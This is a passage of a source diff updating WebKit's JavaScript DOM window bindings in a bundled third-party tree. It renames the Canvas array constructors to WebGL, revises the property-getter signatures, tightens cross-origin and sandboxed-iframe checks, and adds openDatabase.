+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWindowBase.h
@@ -47,7 +47,7 @@ namespace WebCore {
         JSDOMWindowBase(NonNullPassRefPtr<JSC::Structure>, PassRefPtr<DOMWindow>, JSDOMWindowShell*);
 
     public:
-        void updateDocument(DOMWrapperWorld*);
+        void updateDocument();
 
         DOMWindow* impl() const { return d()->impl.get(); }
         virtual ScriptExecutionContext* scriptExecutionContext() const;
@@ -77,12 +77,7 @@ namespace WebCore {
 
     private:
         struct JSDOMWindowBaseData : public JSDOMGlobalObjectData {
-            JSDOMWindowBaseData(PassRefPtr<DOMWindow> window, JSDOMWindowShell* shell)
-                : JSDOMGlobalObjectData(destroyJSDOMWindowBaseData)
-                , impl(window)
-                , shell(shell)
-            {
-            }
+            JSDOMWindowBaseData(PassRefPtr<DOMWindow> window, JSDOMWindowShell* shell);
 
             RefPtr<DOMWindow> impl;
             JSDOMWindowShell* shell;
@@ -97,7 +92,7 @@ namespace WebCore {
     };
 
     // Returns a JSDOMWindow or jsNull()
-    // JSDOMGlobalObject* is ignored, accesing a window in any context will
+    // JSDOMGlobalObject* is ignored, accessing a window in any context will
     // use that DOMWindow's prototype chain.
     JSC::JSValue toJS(JSC::ExecState*, JSDOMGlobalObject*, DOMWindow*);
     JSC::JSValue toJS(JSC::ExecState*, DOMWindow*);
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWindowCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWindowCustom.cpp
index 2804b3c..e8c2781 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWindowCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWindowCustom.cpp
@@ -21,7 +21,8 @@
 #include "JSDOMWindowCustom.h"
 
 #include "AtomicString.h"
-#include "Base64.h"
+#include "Chrome.h"
+#include "Database.h"
 #include "DOMWindow.h"
 #include "Document.h"
 #include "ExceptionCode.h"
@@ -35,6 +36,8 @@
 #include "HTMLDocument.h"
 #include "History.h"
 #include "JSAudioConstructor.h"
+#include "JSDatabase.h"
+#include "JSDatabaseCallback.h"
 #include "JSDOMWindowShell.h"
 #include "JSEvent.h"
 #include "JSEventListener.h"
@@ -53,14 +56,14 @@
 #endif
 
 #if ENABLE(3D_CANVAS)
-#include "JSCanvasArrayBufferConstructor.h"
-#include "JSCanvasByteArrayConstructor.h"
-#include "JSCanvasUnsignedByteArrayConstructor.h"
-#include "JSCanvasIntArrayConstructor.h"
-#include "JSCanvasUnsignedIntArrayConstructor.h"
-#include "JSCanvasShortArrayConstructor.h"
-#include "JSCanvasUnsignedShortArrayConstructor.h"
-#include "JSCanvasFloatArrayConstructor.h"
+#include "JSWebGLArrayBufferConstructor.h"
+#include "JSWebGLByteArrayConstructor.h"
+#include "JSWebGLUnsignedByteArrayConstructor.h"
+#include "JSWebGLIntArrayConstructor.h"
+#include "JSWebGLUnsignedIntArrayConstructor.h"
+#include "JSWebGLShortArrayConstructor.h"
+#include "JSWebGLUnsignedShortArrayConstructor.h"
+#include "JSWebGLFloatArrayConstructor.h"
 #endif
 #include "JSWebKitCSSMatrixConstructor.h"
 #include "JSWebKitPointConstructor.h"
@@ -96,7 +99,7 @@ void JSDOMWindow::markChildren(MarkStack& markStack)
 {
     Base::markChildren(markStack);
 
-    impl()->markEventListeners(markStack);
+    impl()->markJSEventListeners(markStack);
 
     JSGlobalData& globalData = *Heap::heap(this)->globalData();
 
@@ -112,6 +115,7 @@ void JSDOMWindow::markChildren(MarkStack& markStack)
     markDOMObjectWrapper(markStack, globalData, impl()->optionalStatusbar());
     markDOMObjectWrapper(markStack, globalData, impl()->optionalToolbar());
     markDOMObjectWrapper(markStack, globalData, impl()->optionalLocation());
+    markDOMObjectWrapper(markStack, globalData, impl()->optionalMedia());
 #if ENABLE(DOM_STORAGE)
     markDOMObjectWrapper(markStack, globalData, impl()->optionalSessionStorage());
     markDOMObjectWrapper(markStack, globalData, impl()->optionalLocalStorage());
@@ -122,24 +126,24 @@ void JSDOMWindow::markChildren(MarkStack& markStack)
 }
 
 template<NativeFunction nativeFunction, int length>
-JSValue nonCachingStaticFunctionGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot&)
+JSValue nonCachingStaticFunctionGetter(ExecState* exec, JSValue, const Identifier& propertyName)
 {
     return new (exec) NativeFunctionWrapper(exec, exec->lexicalGlobalObject()->prototypeFunctionStructure(), length, propertyName, nativeFunction);
 }
 
-static JSValue childFrameGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
+static JSValue childFrameGetter(ExecState* exec, JSValue slotBase, const Identifier& propertyName)
 {
-    return toJS(exec, static_cast<JSDOMWindow*>(asObject(slot.slotBase()))->impl()->frame()->tree()->child(AtomicString(propertyName))->domWindow());
+    return toJS(exec, static_cast<JSDOMWindow*>(asObject(slotBase))->impl()->frame()->tree()->child(AtomicString(propertyName))->domWindow());
 }
 
-static JSValue indexGetter(ExecState* exec, const Identifier&, const PropertySlot& slot)
+static JSValue indexGetter(ExecState* exec, JSValue slotBase, unsigned index)
 {
-    return toJS(exec, static_cast<JSDOMWindow*>(asObject(slot.slotBase()))->impl()->frame()->tree()->child(slot.index())->domWindow());
+    return toJS(exec, static_cast<JSDOMWindow*>(asObject(slotBase))->impl()->frame()->tree()->child(index)->domWindow());
 }
 
-static JSValue namedItemGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
+static JSValue namedItemGetter(ExecState* exec, JSValue slotBase, const Identifier& propertyName)
 {
-    JSDOMWindowBase* thisObj = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindowBase* thisObj = static_cast<JSDOMWindow*>(asObject(slotBase));
     Document* document = thisObj->impl()->frame()->document();
 
     ASSERT(thisObj->allowsAccessFrom(exec));
@@ -265,7 +269,7 @@ bool JSDOMWindow::getOwnPropertySlot(ExecState* exec, const Identifier& property
         }
     }
 
-    // FIXME: Search the whole frame hierachy somewhere around here.
+    // FIXME: Search the whole frame hierarchy somewhere around here.
     // We need to test the correct priority order.
 
     // allow window[1] or parent[1] etc. (#56983)
@@ -297,10 +301,10 @@ bool JSDOMWindow::getOwnPropertySlot(ExecState* exec, const Identifier& property
 
 bool JSDOMWindow::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
 {
-    // When accessing a Window cross-domain, functions are always the native built-in ones, and they
-    // are not affected by properties changed on the Window or anything in its prototype chain.
-    // This is consistent with the behavior of Firefox.
-    
+    // Never allow cross-domain getOwnPropertyDescriptor
+    if (!allowsAccessFrom(exec))
+        return false;
+
     const HashEntry* entry;
     
     // We don't want any properties other than "close" and "closed" on a closed window.
@@ -323,65 +327,6 @@ bool JSDOMWindow::getOwnPropertyDescriptor(ExecState* exec, const Identifier& pr
         return true;
     }
 
-    String errorMessage;
-    bool allowsAccess = allowsAccessFrom(exec, errorMessage);
-    if (allowsAccess && JSGlobalObject::getOwnPropertyDescriptor(exec, propertyName, descriptor))
-        return true;
-
-    // We need this code here because otherwise JSDOMWindowBase will stop the search before we even get to the
-    // prototype due to the blanket same origin (allowsAccessFrom) check at the end of getOwnPropertySlot.
-    // Also, it's important to get the implementation straight out of the DOMWindow prototype regardless of
-    // what prototype is actually set on this object.
-    entry = JSDOMWindowPrototype::s_info.propHashTable(exec)->entry(exec, propertyName);
-    if (entry) {
-        if (entry->attributes() & Function) {
-            if (entry->function() == jsDOMWindowPrototypeFunctionBlur) {
-                if (!allowsAccess) {
-                    PropertySlot slot;
-                    slot.setCustom(this, nonCachingStaticFunctionGetter<jsDOMWindowPrototypeFunctionBlur, 0>);
-                    descriptor.setDescriptor(slot.getValue(exec, propertyName), ReadOnly | DontDelete | DontEnum);
-                    return true;
-                }
-            } else if (entry->function() == jsDOMWindowPrototypeFunctionClose) {
-                if (!allowsAccess) {
-                    PropertySlot slot;
-                    slot.setCustom(this, nonCachingStaticFunctionGetter<jsDOMWindowPrototypeFunctionClose, 0>);
-                    descriptor.setDescriptor(slot.getValue(exec, propertyName), ReadOnly | DontDelete | DontEnum);
-                    return true;
-                }
-            } else if (entry->function() == jsDOMWindowPrototypeFunctionFocus) {
-                if (!allowsAccess) {
-                    PropertySlot slot;
-                    slot.setCustom(this, nonCachingStaticFunctionGetter<jsDOMWindowPrototypeFunctionFocus, 0>);
-                    descriptor.setDescriptor(slot.getValue(exec, propertyName), ReadOnly | DontDelete | DontEnum);
-                    return true;
-                }
-            } else if (entry->function() == jsDOMWindowPrototypeFunctionPostMessage) {
-                if (!allowsAccess) {
-                    PropertySlot slot;
-                    slot.setCustom(this, nonCachingStaticFunctionGetter<jsDOMWindowPrototypeFunctionPostMessage, 2>);
-                    descriptor.setDescriptor(slot.getValue(exec, propertyName), ReadOnly | DontDelete | DontEnum);
-                    return true;
-                }
-            } else if (entry->function() == jsDOMWindowPrototypeFunctionShowModalDialog) {
-                if (!DOMWindow::canShowModalDialog(impl()->frame())) {
-                    descriptor.setUndefined();
-                    return true;
-                }
-            }
-        }
-    } else {
-        // Allow access to toString() cross-domain, but always Object.prototype.toString.
-        if (propertyName == exec->propertyNames().toString) {
-            if (!allowsAccess) {
-                PropertySlot slot;
-                slot.setCustom(this, objectToStringFunctionGetter);
-                descriptor.setDescriptor(slot.getValue(exec, propertyName), ReadOnly | DontDelete | DontEnum);
-                return true;
-            }
-        }
-    }
-    
     entry = JSDOMWindow::s_info.propHashTable(exec)->entry(exec, propertyName);
     if (entry) {
         PropertySlot slot;
@@ -402,19 +347,6 @@ bool JSDOMWindow::getOwnPropertyDescriptor(ExecState* exec, const Identifier& pr
         return true;
     }
     
-    // Do prototype lookup early so that functions and attributes in the prototype can have
-    // precedence over the index and name getters.  
-    JSValue proto = prototype();
-    if (proto.isObject()) {
-        if (asObject(proto)->getPropertyDescriptor(exec, propertyName, descriptor)) {
-            if (!allowsAccess) {
-                printErrorMessage(errorMessage);
-                descriptor.setUndefined();
-            }
-            return true;
-        }
-    }
-
     bool ok;
     unsigned i = propertyName.toArrayIndex(&ok);
     if (ok && i < impl()->frame()->tree()->childCount()) {
@@ -466,28 +398,20 @@ bool JSDOMWindow::deleteProperty(ExecState* exec, const Identifier& propertyName
     return Base::deleteProperty(exec, propertyName);
 }
 
-void JSDOMWindow::getPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
+void JSDOMWindow::getPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
 {
     // Only allow the window to enumerated by frames in the same origin.
     if (!allowsAccessFrom(exec))
         return;
-    Base::getPropertyNames(exec, propertyNames);
+    Base::getPropertyNames(exec, propertyNames, mode);
 }
 
-void JSDOMWindow::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
+void JSDOMWindow::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
 {
     // Only allow the window to enumerated by frames in the same origin.
     if (!allowsAccessFrom(exec))
         return;
-    Base::getOwnPropertyNames(exec, propertyNames);
-}
-
-bool JSDOMWindow::getPropertyAttributes(ExecState* exec, const Identifier& propertyName, unsigned& attributes) const
-{
-    // Only allow getting property attributes properties by frames in the same origin.
-    if (!allowsAccessFrom(exec))
-        return false;
-    return Base::getPropertyAttributes(exec, propertyName, attributes);
+    Base::getOwnPropertyNames(exec, propertyNames, mode);
 }
 
 void JSDOMWindow::defineGetter(ExecState* exec, const Identifier& propertyName, JSObject* getterFunction, unsigned attributes)
@@ -540,24 +464,24 @@ JSValue JSDOMWindow::lookupSetter(ExecState* exec, const Identifier& propertyNam
 JSValue JSDOMWindow::history(ExecState* exec) const
 {
     History* history = impl()->history();
-    if (DOMObject* wrapper = getCachedDOMObjectWrapper(exec->globalData(), history))
+    if (DOMObject* wrapper = getCachedDOMObjectWrapper(exec, history))
         return wrapper;
 
     JSDOMWindow* window = const_cast<JSDOMWindow*>(this);
     JSHistory* jsHistory = new (exec) JSHistory(getDOMStructure<JSHistory>(exec, window), window, history);
-    cacheDOMObjectWrapper(exec->globalData(), history, jsHistory);
+    cacheDOMObjectWrapper(exec, history, jsHistory);
     return jsHistory;
 }
 
 JSValue JSDOMWindow::location(ExecState* exec) const
 {
     Location* location = impl()->location();
-    if (DOMObject* wrapper = getCachedDOMObjectWrapper(exec->globalData(), location))
+    if (DOMObject* wrapper = getCachedDOMObjectWrapper(exec, location))
         return wrapper;
 
     JSDOMWindow* window = const_cast<JSDOMWindow*>(this);
     JSLocation* jsLocation = new (exec) JSLocation(getDOMStructure<JSLocation>(exec, window), window, location);
-    cacheDOMObjectWrapper(exec->globalData(), location, jsLocation);
+    cacheDOMObjectWrapper(exec, location, jsLocation);
     return jsLocation;
 }
 
@@ -645,44 +569,44 @@ JSValue JSDOMWindow::webKitCSSMatrix(ExecState* exec) const
 }
  
 #if ENABLE(3D_CANVAS)
-JSValue JSDOMWindow::canvasArrayBuffer(ExecState* exec) const
+JSValue JSDOMWindow::webGLArrayBuffer(ExecState* exec) const
 {
-    return getDOMConstructor<JSCanvasArrayBufferConstructor>(exec, this);
+    return getDOMConstructor<JSWebGLArrayBufferConstructor>(exec, this);
 }
  
-JSValue JSDOMWindow::canvasByteArray(ExecState* exec) const
+JSValue JSDOMWindow::webGLByteArray(ExecState* exec) const
 {
-    return getDOMConstructor<JSCanvasByteArrayConstructor>(exec, this);
+    return getDOMConstructor<JSWebGLByteArrayConstructor>(exec, this);
 }
  
-JSValue JSDOMWindow::canvasUnsignedByteArray(ExecState* exec) const
+JSValue JSDOMWindow::webGLUnsignedByteArray(ExecState* exec) const
 {
-    return getDOMConstructor<JSCanvasUnsignedByteArrayConstructor>(exec, this);
+    return getDOMConstructor<JSWebGLUnsignedByteArrayConstructor>(exec, this);
 }
  
-JSValue JSDOMWindow::canvasIntArray(ExecState* exec) const
+JSValue JSDOMWindow::webGLIntArray(ExecState* exec) const
 {
-    return getDOMConstructor<JSCanvasIntArrayConstructor>(exec, this);
+    return getDOMConstructor<JSWebGLIntArrayConstructor>(exec, this);
 }
  
-JSValue JSDOMWindow::canvasUnsignedIntArray(ExecState* exec) const
+JSValue JSDOMWindow::webGLUnsignedIntArray(ExecState* exec) const
 {
-    return getDOMConstructor<JSCanvasUnsignedIntArrayConstructor>(exec, this);
+    return getDOMConstructor<JSWebGLUnsignedIntArrayConstructor>(exec, this);
 }
  
-JSValue JSDOMWindow::canvasShortArray(ExecState* exec) const
+JSValue JSDOMWindow::webGLShortArray(ExecState* exec) const
 {
-    return getDOMConstructor<JSCanvasShortArrayConstructor>(exec, this);
+    return getDOMConstructor<JSWebGLShortArrayConstructor>(exec, this);
 }
  
-JSValue JSDOMWindow::canvasUnsignedShortArray(ExecState* exec) const
+JSValue JSDOMWindow::webGLUnsignedShortArray(ExecState* exec) const
 {
-    return getDOMConstructor<JSCanvasUnsignedShortArrayConstructor>(exec, this);
+    return getDOMConstructor<JSWebGLUnsignedShortArrayConstructor>(exec, this);
 }
  
-JSValue JSDOMWindow::canvasFloatArray(ExecState* exec) const
+JSValue JSDOMWindow::webGLFloatArray(ExecState* exec) const
 {
-    return getDOMConstructor<JSCanvasFloatArrayConstructor>(exec, this);
+    return getDOMConstructor<JSWebGLFloatArrayConstructor>(exec, this);
 }
 #endif
  
@@ -744,6 +668,12 @@ static Frame* createWindow(ExecState* exec, Frame* lexicalFrame, Frame* dynamicF
     ASSERT(lexicalFrame);
     ASSERT(dynamicFrame);
 
+    if (Document* lexicalDocument = lexicalFrame->document()) {
+        // Sandboxed iframes cannot open new auxiliary browsing contexts.
+        if (lexicalDocument->securityOrigin()->isSandboxed(SandboxNavigation))
+            return 0;
+    }
+
     ResourceRequest request;
 
     // For whatever reason, Firefox uses the dynamicGlobalObject to determine
@@ -790,6 +720,14 @@ static Frame* createWindow(ExecState* exec, Frame* lexicalFrame, Frame* dynamicF
     return newFrame;
 }
 
+static bool domWindowAllowPopUp(Frame* activeFrame, ExecState* exec)
+{
+    ASSERT(activeFrame);
+    if (activeFrame->script()->processingUserGesture(currentWorld(exec)))
+        return true;
+    return DOMWindow::allowPopUp(activeFrame);
+}
+
 JSValue JSDOMWindow::open(ExecState* exec, const ArgList& args)
 {
     String urlString = valueToStringWithUndefinedOrNullCheck(exec, args.at(0));
@@ -810,7 +748,7 @@ JSValue JSDOMWindow::open(ExecState* exec, const ArgList& args)
 
     // Because FrameTree::find() returns true for empty strings, we must check for empty framenames.
     // Otherwise, illegitimate window.open() calls with no name will pass right through the popup blocker.
-    if (!DOMWindow::allowPopUp(dynamicFrame) && (frameName.isEmpty() || !frame->tree()->find(frameName)))
+    if (!domWindowAllowPopUp(dynamicFrame, exec) && (frameName.isEmpty() || !frame->tree()->find(frameName)))
         return jsUndefined();
 
     // Get the target frame for the special cases of _top and _parent.  In those
@@ -880,7 +818,7 @@ JSValue JSDOMWindow::showModalDialog(ExecState* exec, const ArgList& args)
     if (!dynamicFrame)
         return jsUndefined();
 
-    if (!DOMWindow::canShowModalDialogNow(frame) || !DOMWindow::allowPopUp(dynamicFrame))
+    if (!DOMWindow::canShowModalDialogNow(frame) || !domWindowAllowPopUp(dynamicFrame, exec))
         return jsUndefined();
 
     HashMap<String, String> features;
@@ -976,71 +914,30 @@ JSValue JSDOMWindow::postMessage(ExecState* exec, const ArgList& args)
 
 JSValue JSDOMWindow::setTimeout(ExecState* exec, const ArgList& args)
 {
-    ScheduledAction* action = ScheduledAction::create(exec, args, currentWorld(exec));
+    OwnPtr<ScheduledAction> action = ScheduledAction::create(exec, args, currentWorld(exec));
     if (exec->hadException())
         return jsUndefined();
     int delay = args.at(1).toInt32(exec);
-    return jsNumber(exec, impl()->setTimeout(action, delay));
+
+    ExceptionCode ec = 0;
+    int result = impl()->setTimeout(action.release(), delay, ec);
+    setDOMException(exec, ec);
+
+    return jsNumber(exec, result);
 }
 
 JSValue JSDOMWindow::setInterval(ExecState* exec, const ArgList& args)
 {
-    ScheduledAction* action = ScheduledAction::create(exec, args, currentWorld(exec));
+    OwnPtr<ScheduledAction> action = ScheduledAction::create(exec, args, currentWorld(exec));
     if (exec->hadException())
         return jsUndefined();
     int delay = args.at(1).toInt32(exec);
-    return jsNumber(exec, impl()->setInterval(action, delay));
-}
 
-JSValue JSDOMWindow::atob(ExecState* exec, const ArgList& args)
-{
-    if (args.size() < 1)
-        return throwError(exec, SyntaxError, "Not enough arguments");
-
-    JSValue v = args.at(0);
-    if (v.isNull())
-        return jsEmptyString(exec);
-
-    UString s = v.toString(exec);
-    if (!s.is8Bit()) {
-        setDOMException(exec, INVALID_CHARACTER_ERR);
-        return jsUndefined();
-    }
-
-    Vector<char> in(s.size());
-    for (int i = 0; i < s.size(); ++i)
-        in[i] = static_cast<char>(s.data()[i]);
-    Vector<char> out;
-
-    if (!base64Decode(in, out))
-        return throwError(exec, GeneralError, "Cannot decode base64");
-
-    return jsString(exec, String(out.data(), out.size()));
-}
-
-JSValue JSDOMWindow::btoa(ExecState* exec, const ArgList& args)
-{
-    if (args.size() < 1)
-        return throwError(exec, SyntaxError, "Not enough arguments");
-
-    JSValue v = args.at(0);
-    if (v.isNull())
-        return jsEmptyString(exec);
-
-    UString s = v.toString(exec);
-    if (!s.is8Bit()) {
-        setDOMException(exec, INVALID_CHARACTER_ERR);
-        return jsUndefined();
-    }
-
-    Vector<char> in(s.size());
-    for (int i = 0; i < s.size(); ++i)
-        in[i] = static_cast<char>(s.data()[i]);
-    Vector<char> out;
-
-    base64Encode(in, out);
+    ExceptionCode ec = 0;
+    int result = impl()->setInterval(action.release(), delay, ec);
+    setDOMException(exec, ec);
 
-    return jsString(exec, String(out.data(), out.size()));
+    return jsNumber(exec, result);
 }
 
 JSValue JSDOMWindow::addEventListener(ExecState* exec, const ArgList& args)
@@ -1053,7 +950,7 @@ JSValue JSDOMWindow::addEventListener(ExecState* exec, const ArgList& args)
     if (!listener.isObject())
         return jsUndefined();
 
-    impl()->addEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), false, currentWorld(exec)), args.at(2).toBoolean(exec));
+    impl()->addEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), this, false, currentWorld(exec)), args.at(2).toBoolean(exec));
     return jsUndefined();
 }
 
@@ -1067,10 +964,30 @@ JSValue JSDOMWindow::removeEventListener(ExecState* exec, const ArgList& args)
     if (!listener.isObject())
         return jsUndefined();
 
-    impl()->removeEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
+    impl()->removeEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), this, false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
     return jsUndefined();
 }
 
+#if ENABLE(DATABASE)
+JSValue JSDOMWindow::openDatabase(ExecState* exec, const ArgList& args)
+{
+    if (!allowsAccessFrom(exec) || (args.size() < 4))
+        return jsUndefined();
+    ExceptionCode ec = 0;
+    const UString& name = args.at(0).toString(exec);
+    const UString& version = args.at(1).toString(exec);
+    const UString& displayName = args.at(2).toString(exec);
+    unsigned long estimatedSize = args.at(3).toInt32(exec);
+    RefPtr<DatabaseCallback> creationCallback;
+    if ((args.size() >= 5) && args.at(4).isObject())
+        creationCallback = JSDatabaseCallback::create(asObject(args.at(4)), globalObject());
+
+    JSValue result = toJS(exec, globalObject(), WTF::getPtr(impl()->openDatabase(name, version, displayName, estimatedSize, creationCallback.release(), ec)));
+    setDOMException(exec, ec);
+    return result;
+}
+#endif
+
 DOMWindow* toDOMWindow(JSValue value)
 {
     if (!value.isObject())
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWindowShell.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWindowShell.cpp
index 9072f91..1e82a49 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWindowShell.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWindowShell.cpp
@@ -43,9 +43,10 @@ ASSERT_CLASS_FITS_IN_CELL(JSDOMWindowShell);
 
 const ClassInfo JSDOMWindowShell::s_info = { "JSDOMWindowShell", 0, 0, 0 };
 
-JSDOMWindowShell::JSDOMWindowShell(PassRefPtr<DOMWindow> window)
+JSDOMWindowShell::JSDOMWindowShell(PassRefPtr<DOMWindow> window, DOMWrapperWorld* world)
     : Base(JSDOMWindowShell::createStructure(jsNull()))
     , m_window(0)
+    , m_world(world)
 {
     setWindow(window);
 }
@@ -113,19 +114,14 @@ bool JSDOMWindowShell::deleteProperty(ExecState* exec, const Identifier& propert
     return m_window->deleteProperty(exec, propertyName);
 }
 
-void JSDOMWindowShell::getPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
+void JSDOMWindowShell::getPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
 {
-    m_window->getPropertyNames(exec, propertyNames);
+    m_window->getPropertyNames(exec, propertyNames, mode);
 }
 
-void JSDOMWindowShell::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
+void JSDOMWindowShell::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
 {
-    m_window->getOwnPropertyNames(exec, propertyNames);
-}
-
-bool JSDOMWindowShell::getPropertyAttributes(JSC::ExecState* exec, const Identifier& propertyName, unsigned& attributes) const
-{
-    return m_window->getPropertyAttributes(exec, propertyName, attributes);
+    m_window->getOwnPropertyNames(exec, propertyNames, mode);
 }
 
 void JSDOMWindowShell::defineGetter(ExecState* exec, const Identifier& propertyName, JSObject* getterFunction, unsigned attributes)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWindowShell.h b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWindowShell.h
index 36cb8d6..1b986b8 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWindowShell.h
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWindowShell.h
@@ -40,7 +40,7 @@ namespace WebCore {
     class JSDOMWindowShell : public DOMObject {
         typedef DOMObject Base;
     public:
-        JSDOMWindowShell(PassRefPtr<DOMWindow>);
+        JSDOMWindowShell(PassRefPtr<DOMWindow>, DOMWrapperWorld* world);
         virtual ~JSDOMWindowShell();
 
         JSDOMWindow* window() const { return m_window; }
@@ -60,9 +60,11 @@ namespace WebCore {
 
         static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype) 
         {
-            return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags)); 
+            return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount); 
         }
 
+        DOMWrapperWorld* world() { return m_world.get(); }
+
     private:
         static const unsigned StructureFlags = JSC::OverridesGetOwnPropertySlot | JSC::OverridesMarkChildren | JSC::OverridesGetPropertyNames | DOMObject::StructureFlags;
 
@@ -73,9 +75,8 @@ namespace WebCore {
         virtual void put(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::JSValue, JSC::PutPropertySlot&);
         virtual void putWithAttributes(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::JSValue, unsigned attributes);
         virtual bool deleteProperty(JSC::ExecState*, const JSC::Identifier& propertyName);
-        virtual void getPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&);
-        virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&);
-        virtual bool getPropertyAttributes(JSC::ExecState*, const JSC::Identifier& propertyName, unsigned& attributes) const;
+        virtual void getPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&, JSC::EnumerationMode mode = JSC::ExcludeDontEnumProperties);
+        virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&, JSC::EnumerationMode mode = JSC::ExcludeDontEnumProperties);
         virtual void defineGetter(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::JSObject* getterFunction, unsigned attributes);
         virtual void defineSetter(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::JSObject* setterFunction, unsigned attributes);
         virtual bool defineOwnProperty(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertyDescriptor&, bool shouldThrow);
@@ -85,6 +86,7 @@ namespace WebCore {
         virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
 
         JSDOMWindow* m_window;
+        RefPtr<DOMWrapperWorld> m_world;
     };
 
     JSC::JSValue toJS(JSC::ExecState*, Frame*);
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWrapper.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWrapper.cpp
new file mode 100644
index 0000000..3fcdcc1
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWrapper.cpp
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2010 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS''
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
+ * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS
+ * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+ * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
+ * THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+#include "JSDOMWrapper.h"
+
+#include "JSDebugWrapperSet.h"
+#include <runtime/Error.h>
+
+using namespace JSC;
+
+namespace WebCore {
+
+#ifndef NDEBUG
+
+DOMObject::~DOMObject()
+{
+    ASSERT(!JSDebugWrapperSet::shared().contains(this));
+}
+
+#endif
+
+bool DOMObject::defineOwnProperty(ExecState* exec, const Identifier&, PropertyDescriptor&, bool)
+{
+    throwError(exec, TypeError, "defineProperty is not supported on DOM Objects");
+    return false;
+}
+
+} // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWrapper.h b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWrapper.h
new file mode 100644
index 0000000..00594cf
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMWrapper.h
@@ -0,0 +1,46 @@
+/*
+ *  Copyright (C) 1999-2001 Harri Porten (porten@kde.org)
+ *  Copyright (C) 2003, 2004, 2005, 2006, 2008, 2009, 2010 Apple Inc. All rights reserved.
+ *  Copyright (C) 2007 Samuel Weinig <sam@webkit.org>
+ *  Copyright (C) 2009 Google, Inc. All rights reserved.
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation; either
+ *  version 2 of the License, or (at your option) any later version.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
